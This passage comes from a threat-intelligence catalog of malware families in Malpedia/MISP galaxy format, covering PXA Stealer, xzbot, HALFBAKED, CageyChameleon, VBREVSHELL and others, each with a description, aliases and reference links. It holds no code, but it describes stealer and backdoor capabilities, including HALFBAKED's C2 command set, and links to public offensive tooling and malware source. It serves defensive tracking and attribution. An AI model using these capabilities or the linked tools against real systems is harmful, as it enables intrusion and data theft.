PXA Stealer is an information-stealing malware written in Python, identified by Cisco Talos in an active campaign attributed to a Vietnamese-speaking threat actor (2024). The stealer targets sensitive data such as credentials for online accounts, VPN and FTP clients, financial information, browser cookies, and gaming-related data. Notably, PXA Stealer is capable of decrypting browser master passwords to exfiltrate stored credentials. The campaign leverages heavily obfuscated batch scripts for delivery and execution. The actor behind this operation is linked to the Telegram channel “Mua Bán Scan MINI,” known to host credential trade and cybercrime activity. While there are connections to the CoralRaider adversary, attribution to this group remains unconfirmed. In q2 2025 PXA stealer was observed to target Italy.

The tag is: *misp-galaxy:malpedia="PXA Stealer"*

PXA Stealer is also known as:

- PXA
- PXAStealer

Table 3046. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.pxa_stealer
https://www.sentinelone.com/labs/ghost-in-the-zip-new-pxa-stealer-and-its-telegram-powered-ecosystem/
https://x.com/luc4m/status/1934864757619900789
https://labs.beazley.security/articles/ghost-in-the-zip-or-new-pxa-stealer-and-its-telegram-powered-ecosystem
https://www.darkrym.com/posts/2025/08/pxa-stealers-evolution-to-purerat-part-3-weaponised-python-stage-stage-5/
https://blog.talosintelligence.com/new-pxa-stealer/

PyAesLoader

The tag is: *misp-galaxy:malpedia="PyAesLoader"*

PyAesLoader is also known as:

Table 3047. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.pyaesloader

PyArk

The tag is: *misp-galaxy:malpedia="PyArk"*

PyArk is also known as:

Table 3048. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.pyark
https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/

pyback

The tag is: *misp-galaxy:malpedia="pyback"*

pyback is also known as:

Table 3049. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.pyback
https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_001
https://github.com/7h3w4lk3r/pyback

PylangGhost

Python-version of GolangGhost RAT

The tag is: *misp-galaxy:malpedia="PylangGhost"*

PylangGhost is also known as:

Table 3050. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/py.pylangghost
https://blog.talosintelligence.com/python-version-of-golangghost-rat/
https://blog.polyswarm.io/famous-chollimas-pylangghost
https://www.virusbulletin.com/uploads/pdf/conference/vb2025/papers/DeceptiveDevelopment-and-North-Korean-IT-workers-from-primitive-crypto-theft-to-sophisticated-AI-based-deception.pdf
https://any.run/cybersecurity-blog/pylangghost-malware-analysis/
https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-from-primitive-crypto-theft-to-sophisticated-ai-based-deception/

Pyramid

According to its author, Pyramid is a post exploitation framework written in Python, capable of executing offensive tooling from a signed binary (e.g. python.exe) by importing their dependencies in memory. It was created to demonstrate a bypass strategy against EDRs based on some blind-spots assumptions.

The tag is: *misp-galaxy:malpedia="Pyramid"*

Pyramid is also known as:

Table 3051. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.pyramid
https://github.com/naksyn/Pyramid
https://hunt.io/blog/tracking-pyramid-c2-identifying-post-exploitation-servers
https://hunt.io/blog/russian-actor-cloudflare-phishing-telegram-c2
https://hunt.io/blog/russian-speaking-actors-impersonate-etf-distribute-stealc-pyramid-c2

PY#RATION

According to Securonix, this malware exhibits remote access trojan (RAT) behavior, allowing for control of and persistence on the affected host. As with other RATs, PY#RATION possesses a whole host of features and capabilities, including data exfiltration and keylogging. What makes this malware particularly unique is its utilization of websockets for both command and control (C2) communication and exfiltration as well as how it evades detection from antivirus and network security measures.

The tag is: *misp-galaxy:malpedia="PY#RATION"*

PY#RATION is also known as:

Table 3052. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/py.pyration
https://www.securonix.com/blog/security-advisory-python-based-pyration-attack-campaign/

PyVil

PyVil RAT

The tag is: *misp-galaxy:malpedia="PyVil"*

PyVil is also known as:

Table 3053. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.pyvil
https://www.cybereason.com/blog/no-rest-for-the-wicked-evilnum-unleashes-pyvil-rat
https://twitter.com/ESETresearch/status/1360178593968623617

QUIETBOARD

The tag is: *misp-galaxy:malpedia="QUIETBOARD"*

QUIETBOARD is also known as:

Table 3054. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.quietboard
https://www.mandiant.com/resources/blog/unc4990-evolution-usb-malware

RedTiger Stealer

The tag is: *misp-galaxy:malpedia="RedTiger Stealer"*

RedTiger Stealer is also known as:

- RedTiger Ste4ler
- redtiger
- redtiger-tools

Table 3055. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.redtiger
https://c-b.io/blog/redtiger_stealer/

Responder

Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.

The tag is: *misp-galaxy:malpedia="Responder"*

Responder is also known as:

- SpiderLabs Responder

Table 3056. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.responder
https://github.com/lgandx/Responder
https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/

RN Stealer

The tag is: *misp-galaxy:malpedia="RN Stealer"*

RN Stealer is also known as:

Table 3057. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.rn_stealer
https://unit42.paloaltonetworks.com/slow-pisces-new-custom-malware/
https://www.wiz.io/blog/north-korean-tradertraitor-crypto-heist

Saphyra

The tag is: *misp-galaxy:malpedia="Saphyra"*

Saphyra is also known as:

Table 3058. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.saphyra
https://www.youtube.com/watch?v=Bk-utzAlYFI
https://securityintelligence.com/dissecting-hacktivists-ddos-tool-saphyra-revealed/

Serpent

According to Proofpoint, this is a backdoor written in Python, used in attacks against French entities in the construction, real estate, and government industries.

The tag is: *misp-galaxy:malpedia="Serpent"*

Serpent is also known as:

Table 3059. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.serpent
https://labs.k7computing.com/index.php/uncovering-the-serpent/
https://www.bleepingcomputer.com/news/security/serpent-malware-campaign-abuses-chocolatey-windows-package-manager/
https://blogs.vmware.com/security/2022/04/serpent-the-backdoor-that-hides-in-plain-sight.html
https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain

SpaceCow

The tag is: *misp-galaxy:malpedia="SpaceCow"*

SpaceCow is also known as:

Table 3060. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.spacecow
https://github.com/TheSph1nx/SpaceCow

stealler

The tag is: *misp-galaxy:malpedia="stealler"*

stealler is also known as:

Table 3061. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.stealler
https://habr.com/en/sandbox/135410/

Stitch

The tag is: *misp-galaxy:malpedia="Stitch"*

Stitch is also known as:

Table 3062. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.stitch
https://github.com/nathanlopez/Stitch
https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/

Stormous

The tag is: *misp-galaxy:malpedia="Stormous"*

Stormous is also known as:

Table 3063. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.stormous
https://twitter.com/H4ckManac/status/1765707886246723617

unidentified_002

The tag is: *misp-galaxy:malpedia="unidentified_002"*

unidentified_002 is also known as:

Table 3064. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_002

unidentified_003

The tag is: *misp-galaxy:malpedia="unidentified_003"*

unidentified_003 is also known as:

Table 3065. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_003

UPSTYLE

The tag is: *misp-galaxy:malpedia="UPSTYLE"*

UPSTYLE is also known as:

Table 3066. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.upstyle
https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
https://unit42.paloaltonetworks.com/cve-2024-3400/

Venomous

Ransomware written in Python and delivered as compiled executable created using PyInstaller.

The tag is: *misp-galaxy:malpedia="Venomous"*

Venomous is also known as:

Table 3067. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.venomous
https://blog.cyble.com/2021/08/04/a-deep-dive-analysis-of-venomous-ransomware/

Venus Stealer

Venus Stealer is a python based Infostealer observed early 2023.

The tag is: *misp-galaxy:malpedia="Venus Stealer"*

Venus Stealer is also known as:

Table 3068. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.venus_stealer
https://geekypandatales.wordpress.com/2023/02/19/the-infostealer-pie-python-malware-analysis/
https://twitter.com/0xToxin/status/1625435116771180546

VileRAT

The tag is: *misp-galaxy:malpedia="VileRAT"*

VileRAT is also known as:

Table 3069. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.vilerat
https://stairwell.com/resources/technical-analysis-the-silent-torrent-of-vilerat/

W4SP Stealer

A basic info stealer w/ some capability to inject code into legit applications.

The tag is: *misp-galaxy:malpedia="W4SP Stealer"*

W4SP Stealer is also known as:

Table 3070. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.w4sp_stealer
https://github.com/Im4wasp/W4SP-Stealer-V2/tree/main
https://securelist.com/two-more-malicious-python-packages-in-the-pypi/107218/

WIREFIRE

The tag is: *misp-galaxy:malpedia="WIREFIRE"*

WIREFIRE is also known as:

- GIFTEDVISITOR

Table 3071. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.wirefire
https://services.google.com/fh/files/misc/m-trends-2025-en.pdf
https://medium.com/mitre-engenuity/technical-deep-dive-understanding-the-anatomy-of-a-cyber-intrusion-080bddc679f3

KV

The tag is: *misp-galaxy:malpedia="KV"*

KV is also known as:

Table 3072. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/sh.kv
https://www.justice.gov/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical
https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/
https://censys.com/will-the-real-volt-typhoon-please-stand-up/
https://www.securityweek.com/wp-content/uploads/2024/01/Volt-Typhoon.pdf
https://blog.lumen.com/kv-botnet-dont-call-it-a-comeback/
https://pylos.co/2025/07/23/will-the-real-salt-typhoon-please-stand-up/

PANIX

According to its author, PANIX is a powerful, modular, and highly customizable Linux persistence framework designed for security researchers, detection engineers, penetration testers, CTF enthusiasts, and more. Built with versatility in mind, PANIX emphasizes functionality, making it an essential tool for understanding and implementing a wide range of persistence techniques.

The tag is: *misp-galaxy:malpedia="PANIX"*

PANIX is also known as:

Table 3073. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/sh.panix
https://www.elastic.co/security-labs/the-grand-finale-on-linux-persistence
https://github.com/Aegrah/PANIX

xzbot

A backdoor brought into version 5.6.0 and 5.6.1 of compression library/tool xz/liblzma, which was intended to enable access via (Open)SSH on affected servers.

The tag is: *misp-galaxy:malpedia="xzbot"*

xzbot is also known as:

- xzorcist

Table 3074. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/sh.xzbot
https://github.com/karcherm/xz-malware

https://www.linkedin.com/posts/threatmon_xz-utils-backdoor-cve-2024-3094-activity-7181228442791641088-rw2a?utm_source=share&utm_medium=member_desktop
https://boehs.org/node/everything-i-know-about-the-xz-backdoor
https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504
https://medium.com/@DCSO_CyTec/xz-backdoor-how-to-check-if-your-systems-are-affected-fb169b638271
https://www.cisa.gov/news-events/alerts/2024/03/29/reported-supply-chain-compromise-affecting-xz-utils-data-compression-library-cve-2024-3094
https://www.openwall.com/lists/oss-security/2024/03/29/4
https://www.wired.com/story/jia-tan-xz-backdoor/
https://twitter.com/fr0gger_/status/1774342248437813525
https://www.sentinelone.com/blog/xz-utils-backdoor-threat-actor-planned-to-inject-further-vulnerabilities/
https://gynvael.coldwind.pl/?lang=en&id=782
https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
https://github.com/amlweems/xzbot

FlexiSpy (symbian)

The tag is: *misp-galaxy:malpedia="FlexiSpy (symbian)"*

FlexiSpy (symbian) is also known as:

Table 3075. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/symbian.flexispy
https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/

BASICSTAR

The tag is: *misp-galaxy:malpedia="BASICSTAR"*

BASICSTAR is also known as:

Table 3076. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.basicstar
https://www.volexity.com/blog/2024/02/13/charmingcypress-innovating-persistence/

CageyChameleon

CageyChameleon Malware is a VBS-based backdoor which has the capability to enumerate the list of running processes and check for the presence of several antivirus products. CageyChameleon will collect user host information, system current process information, etc. The collected information is sent back to the C2 server, and continue to initiate requests to perform subsequent operations.

The tag is: *misp-galaxy:malpedia="CageyChameleon"*

CageyChameleon is also known as:

- Cabbage RAT

Table 3077. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.cageychameleon
https://securelist.com/the-bluenoroff-cryptocurrency-hunt-is-still-on/105488/
https://cyberstruggle.org/delta/LeeryTurtleThreatReport_05_20.pdf
https://www.clearskysec.com/wp-content/uploads/2021/05/CryptoCore-Lazarus-Clearsky.pdf
https://www.proofpoint.com/us/daily-ruleset-update-summary-20190314
https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&ved=2ahUKEwjCk7uOzMP-AhXOYMAKHYtLCKkQFnoECBIQAQ&url=https%3A%2F%2Fi.blackhat.com%2FUSA-22%2FThursday%2FUS-22-Wikoff-Talent-Need-Not-Apply.pdf&usg=AOvVaw0deqd7ozZyRTfSBOBmlbiG
https://atlas-cybersecurity.com/cyber-threats/cryptocore-cryptocurrency-exchanges-under-attack/
https://mp.weixin.qq.com/s/nnLqUBPX8xZ3hCr5u-iSjQ
https://vb2020.vblocalhost.com/conference/presentations/unveiling-the-cryptomimic/
https://sansorg.egnyte.com/dl/3P3HxFiNgL
https://www.clearskysec.com/cryptocore-group/
https://www.clearskysec.com/wp-content/uploads/2020/06/CryptoCore_Group.pdf
https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/offshore%20APT%20organization/DangerousPassword/2020-04-02/Analysis.md
https://threatbook.cn/ppt/The%2520Nightmare%2520of%2520Global%2520Cryptocurrency%2520Companies%2520-%2520Demystifying%2520the%2520%25E2%2580%259CDangerousPassword%25E2%2580%259D%2520of%2520the%2520APT%2520Organization.pdf
https://blogs.jpcert.or.jp/en/2019/07/spear-phishing-against-cryptocurrency-businesses.html
https://www.proofpoint.com/us/blog/threat-insight/ta444-apt-startup-aimed-at-your-funds
https://blogs.jpcert.or.jp/ja/2023/05/dangerouspassword.html

forbiks

The tag is: *misp-galaxy:malpedia="forbiks"*

forbiks is also known as:

- Forbix

Table 3078. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.forbiks
https://www.symantec.com/security_response/earthlink_writeup.jsp?docid=2017-090807-0934-99
https://persianov.net/windows-worms-forbix-worm-analysis

GamaWiper

According to ClearSky, this is a VBS-based wiper, deployed via exploitation of a vulnerable WinRAR version (CVE-2025-80880). They assess with medium confidence a link to Gamaredon.

The tag is: *misp-galaxy:malpedia="GamaWiper"*

GamaWiper is also known as:

Table 3079. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.gamawiper
https://x.com/clearskysec/status/1995061537183011084

GGLdr

The tag is: *misp-galaxy:malpedia="GGLdr"*

GGLdr is also known as:

Table 3080. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.ggldr
https://www.forcepoint.com/blog/x-labs/carbanak-group-uses-google-malware-command-and-control

GlowSpark

The tag is: *misp-galaxy:malpedia="GlowSpark"*

GlowSpark is also known as:

Table 3081. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.glowspark
https://inquest.net/blog/2022/02/10/380-glowspark

Grinju Downloader

The tag is: *misp-galaxy:malpedia="Grinju Downloader"*

Grinju Downloader is also known as:

Table 3082. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.grinju
https://medium.com/@vishal_thakur/grinju-downloader-anti-analysis-on-steroids-part-2-8d76f427c0ce
https://medium.com/@vishal_thakur/grinju-malware-anti-analysis-on-steroids-part-1-535e72e650b8

HALFBAKED

The HALFBAKED malware family consists of multiple components designed to establish and maintain a foothold in victim networks, with the ultimate goal of gaining access to sensitive financial information. HALFBAKED listens for the following commands from the C2 server:

```
info: Sends victim machine information (OS, Processor, BIOS and running processes)
using WMI
        queries
processList: Send list of process running
screenshot: Takes screen shot of victim machine (using 58d2a83f777688.78384945.ps1)
runvbs: Executes a VB script
runexe: Executes EXE file
runps1: Executes PowerShell script
delete: Delete the specified file
update: Update the specified file
```

The tag is: *misp-galaxy:malpedia="HALFBAKED"*

HALFBAKED is also known as:

Table 3083. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/vbs.halfbaked
https://attack.mitre.org/software/S0151/
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf

HATVIBE

According to Sekoia, the aim of this backdoor is to receive VBS modules for execution from a remote C2 server. Once received, HATVIBE uses a simple XOR algorithm to decrypt each module, contact it between two <script> tags before adding it to the HTML body of the HTA file, leading to the automatic execution of the received module.

The tag is: *misp-galaxy:malpedia="HATVIBE"*

HATVIBE is also known as:

Table 3084. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.hatvibe
https://cert.gov.ua/article/6280129
https://blog.sekoia.io/double-tap-campaign-russia-nexus-apt-possibly-related-to-apt28-conducts-cyber-espionage-on-central-asia-and-kazakhstan-diplomatic-relations/#h-iii-hatvibe-and-cherryspy-infection-chain
https://blog.sekoia.io/double-tap-campaign-russia-nexus-apt-possibly-related-to-apt28-conducts-cyber-espionage-on-central-asia-and-kazakhstan-diplomatic-relations/
https://github.com/blackorbird/APT_REPORT/blob/master/APT28/APT28%20the%20long%20hand%20of%20Russian%20interests.pdf
https://www.recordedfuture.com/research/russia-aligned-tag-110-targets-tajikistan-with-macro-enabled
https://go.recordedfuture.com/hubfs/reports/CTA-RU-2024-1121.pdf
https://www.bitdefender.com/en-us/blog/businessinsights/uac-0063-cyber-espionage-operation-expanding-from-central-asia
https://go.recordedfuture.com/hubfs/reports/cta-2025-0522.pdf

HOMESTEEL

The tag is: *misp-galaxy:malpedia="HOMESTEEL"*

HOMESTEEL is also known as:

Table 3085. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.homesteel
https://cip.gov.ua/services/cm/api/attachment/download?id=71278
https://cert.gov.ua/article/6281076

Iloveyou

The tag is: *misp-galaxy:malpedia="Iloveyou"*

Iloveyou is also known as:

- Love Bug
- LoveLetter

Table 3086. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.iloveyou
https://resources.sei.cmu.edu/library/asset-view.cfm?assetID=496186

Janicab (VBScript)

The tag is: *misp-galaxy:malpedia="Janicab (VBScript)"*

Janicab (VBScript) is also known as:

Table 3087. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.janicab
https://securelist.com/deathstalker-targets-legal-entities-with-new-janicab-variant/108131/

lampion

Malware is delivered by emails, containing links to ZIP files or ZIP attachments. The ZIP contains a VBscript that, when executed, downloads additional files from AWS S3, Google Drive or other cloud hosting services. The downloaded files are encrypted .exe and .dll files. The malware targets banking clients in Portugal.

The tag is: *misp-galaxy:malpedia="lampion"*

lampion is also known as:

Table 3088. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/vbs.lampion
https://seguranca-informatica.pt/the-hidden-c2-lampion-trojan-release-212-is-on-the-rise-and-using-a-c2-server-for-two-years
https://seguranca-informatica.pt/new-release-of-lampion-trojan-spreads-in-portugal-with-some-improvements-on-the-vbs-downloader
https://seguranca-informatica.pt/trojan-lampion-is-back-after-3-months/
https://research.checkpoint.com/wp-content/uploads/2019/12/Threat_Intelligence_News_2019-12-30.pdf
https://seguranca-informatica.pt/lampion-trojan-disseminated-in-portugal-using-covid-19-template/
https://securityaffairs.co/wordpress/128975/malware/hidden-c2-lampion-trojan-release-212.html
https://unit42.paloaltonetworks.com/single-bit-trap-flag-intel-cpu/
https://www.layer8.pt/PDFs/New%20Lampion%20banking%20Trojan%20variant%20in%20the%20wild.pdf
https://cofense.com/blog/lampion-trojan-utilizes-new-delivery-through-cloud-based-sharing
https://seguranca-informatica.pt/targeting-portugal-a-new-trojan-lampion-has-spread-using-template-emails-from-the-portuguese-government-finance-tax/

LCRYX

The tag is: *misp-galaxy:malpedia="LCRYX"*

LCRYX is also known as:

Table 3089. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.lcryx
https://labs.k7computing.com/index.php/lcryx-ransomware-how-a-vb-ransomware-locks-your-system/

LitterDrifter

The tag is: *misp-galaxy:malpedia="LitterDrifter"*

LitterDrifter is also known as:

Table 3090. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.litterdrifter
https://research.checkpoint.com/2023/malware-spotlight-into-the-trash-analyzing-litterdrifter/

lockscreen

The tag is: *misp-galaxy:malpedia="lockscreen"*

lockscreen is also known as:

Table 3091. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.lockscreen
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/lockscreen-ransomware-phishing-leads-to-google-play-card-scam/

LOSTKEYS

According to Google, LOSTKEYS is capable of stealing files from a hard-coded list of extensions and directories, along with sending system information and running processes to the attacker.

The tag is: *misp-galaxy:malpedia="LOSTKEYS"*

LOSTKEYS is also known as:

Table 3092. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.lostkeys
https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos

MOUSEISLAND

MOUSEISLAND is a Microsoft Word macro downloader used as the first infection stage and is delivered inside a password-protected zip attached to a phishing email. Based on Fireeye intrusion data from responding to ICEDID related incidents, the secondary payload delivered by MOUSEISLAND has been PHOTOLOADER, which acts as an intermediary downloader to install ICEDID.

The tag is: *misp-galaxy:malpedia="MOUSEISLAND"*

MOUSEISLAND is also known as:

Table 3093. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.mouseisland
https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html

NodeJS Ransomware

Downloads NodeJS when deployed.

The tag is: *misp-galaxy:malpedia="NodeJS Ransomware"*

NodeJS Ransomware is also known as:

Table 3094. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.nodejs_ransom
https://dissectingmalwa.re/the-opposite-of-fileless-malware-nodejs-ransomware.html

RandomQuery (VBScript)

According to SentinelLabs, this is a VisualBasic-based malware that gathers system and file information and exfiltrates the data using InternetExplorer.Application or Microsoft.XMLHTTP objects.

The tag is: *misp-galaxy:malpedia="RandomQuery (VBScript)"*

RandomQuery (VBScript) is also known as:

Table 3095. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.randomquery
https://www.sentinelone.com/labs/kimsuky-ongoing-campaign-using-tailored-reconnaissance-toolkit/

Starfighter (VBScript)

According to the author, this is a JavaScript based Empire launcher that runs with its own embedded powershell host to not be dependent on local powershell availability.

The tag is: *misp-galaxy:malpedia="Starfighter (VBScript)"*

Starfighter (VBScript) is also known as:

Table 3096. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.starfighter
https://github.com/Cn33liz/StarFighters

STARWHALE

The tag is: *misp-galaxy:malpedia="STARWHALE"*

STARWHALE is also known as:

- Canopy
- SloughRAT

Table 3097. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.starwhale
https://blog.talosintelligence.com/iranian-supergroup-muddywater/
https://thehackernews.com/2022/03/iranian-hackers-targeting-turkey-and.html
https://www.mandiant.com/resources/telegram-malware-iranian-espionage
https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611
https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html
https://rootdaemon.com/2022/03/10/iranian-hackers-targeting-turkey-and-arabian-peninsula-in-new-malware-campaign/
https://blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html
https://www.govinfosecurity.com/iranian-apt-new-methods-to-target-turkey-arabian-peninsula-a-18706
https://www.techrepublic.com/article/muddywater-targets-middle-eastern-and-asian-countries-in-phishing-attacks/

TAMECAT

TAMECAT is PowerShell-based backdoor with modular components designed to facilitate data exfiltration and remote control

The tag is: *misp-galaxy:malpedia="TAMECAT"*

TAMECAT is also known as:

Table 3098. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.tamecat
https://web.archive.org/web/20251113165018/https://govextra.gov.il/national-digital-agency/cyber/research/spearspecter/
https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations

Unidentified VBS 001

The tag is: *misp-galaxy:malpedia="Unidentified VBS 001"*

Unidentified VBS 001 is also known as:

Table 3099. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_001
https://twitter.com/JohnLaTwC/status/1118278148993339392

Unidentified 002 (Operation Kremlin)

Unnamed malware. Delivered as remote template that drops a VBS file, which uses LOLBINs to crawl the disk and exfiltrate data zipped up via winrar.

The tag is: *misp-galaxy:malpedia="Unidentified 002 (Operation Kremlin)"*

Unidentified 002 (Operation Kremlin) is also known as:

Table 3100. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_002
https://www.clearskysec.com/operation-kremlin/

Unidentified 003 (Gamaredon Downloader)

The tag is: *misp-galaxy:malpedia="Unidentified 003 (Gamaredon Downloader)"*

Unidentified 003 (Gamaredon Downloader) is also known as:

Table 3101. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_003
https://aaqeel01.wordpress.com/2021/01/18/docx-files-template-injection/
https://www.threatstop.com/blog/gamaredon-group-understanding-the-russian-apt
https://threatmon.io/beyond-bullets-and-bombs-an-examination-of-armageddon-groups-cyber-warfare-against-ukraine/

Unidentified VBS 004 (RAT)

Lab52 describes this as a light first-stage RAT used by MuddyWater and observed samples between at least November 2020 and January 2022.

The tag is: *misp-galaxy:malpedia="Unidentified VBS 004 (RAT)"*

Unidentified VBS 004 (RAT) is also known as:

Table 3102. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_004
https://lab52.io/blog/muddywaters-light-first-stager-targetting-middle-east/

Unidentified VBS 005 (Telegram Loader)

The tag is: *misp-galaxy:malpedia="Unidentified VBS 005 (Telegram Loader)"*

Unidentified VBS 005 (Telegram Loader) is also known as:

Table 3103. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_005
https://unit42.paloaltonetworks.com/trident-ursa/
https://threatmon.io/beyond-bullets-and-bombs-an-examination-of-armageddon-groups-cyber-warfare-against-ukraine/

Unidentified VBS 006 (Telegram Loader)

The tag is: *misp-galaxy:malpedia="Unidentified VBS 006 (Telegram Loader)"*

Unidentified VBS 006 (Telegram Loader) is also known as:

Table 3104. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_006
https://blogs.blackberry.com/en/2023/01/gamaredon-abuses-telegram-to-target-ukrainian-organizations
https://threatmon.io/beyond-bullets-and-bombs-an-examination-of-armageddon-groups-cyber-warfare-against-ukraine/

VBREVSHELL

According to Mandiant, VBREVSHELL is a VBA macro that spawns a reverse shell relying exclusively on Windows API calls.

The tag is: *misp-galaxy:malpedia="VBREVSHELL"*

VBREVSHELL is also known as:

Table 3105. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.vbrevshell
https://www.mandiant.com/media/17826
https://www.linkedin.com/feed/update/urn:li:activity:7137086303329783808/
https://socradar.io/dark-web-profile-apt42-iranian-cyber-espionage-group/

WasabiSeed

The tag is: *misp-galaxy:malpedia="WasabiSeed"*

WasabiSeed is also known as:

Table 3106. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.wasabiseed
https://www.proofpoint.com/us/blog/threat-insight/screentime-sometimes-it-feels-like-somebodys-watching-me
https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/

WhiteShadow

The tag is: *misp-galaxy:malpedia="WhiteShadow"*

WhiteShadow is also known as:

Table 3107. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.whiteshadow
https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware

000Stealer

The tag is: *misp-galaxy:malpedia="000Stealer"*

000Stealer is also known as:

Table 3108. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.000stealer
https://twitter.com/3xp0rtblog/status/1509978637189419008

0bj3ctivityStealer

Information stealer, based on strings it seems to target crypto currencies, instant messengers, and browser data.

The tag is: *misp-galaxy:malpedia="0bj3ctivityStealer"*

0bj3ctivityStealer is also known as:

- PXRECVOWEIWOEI

Table 3109. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.0bj3ctivity_stealer
https://twitter.com/suyog41/status/1688797716447432704
https://mandarnaik016.in/blog/2024-09-21-malware-analysis-pxrecvoweiwoei/

3CX Backdoor (Windows)

According to CrowdStrike, this backdoor was discovered being embedded in a legitimate, signed version of 3CXDesktopApp, and thus constitutes a supply chain attack.

The tag is: *misp-galaxy:malpedia="3CX Backdoor (Windows)"*

3CX Backdoor (Windows) is also known as:

- SUDDENICON

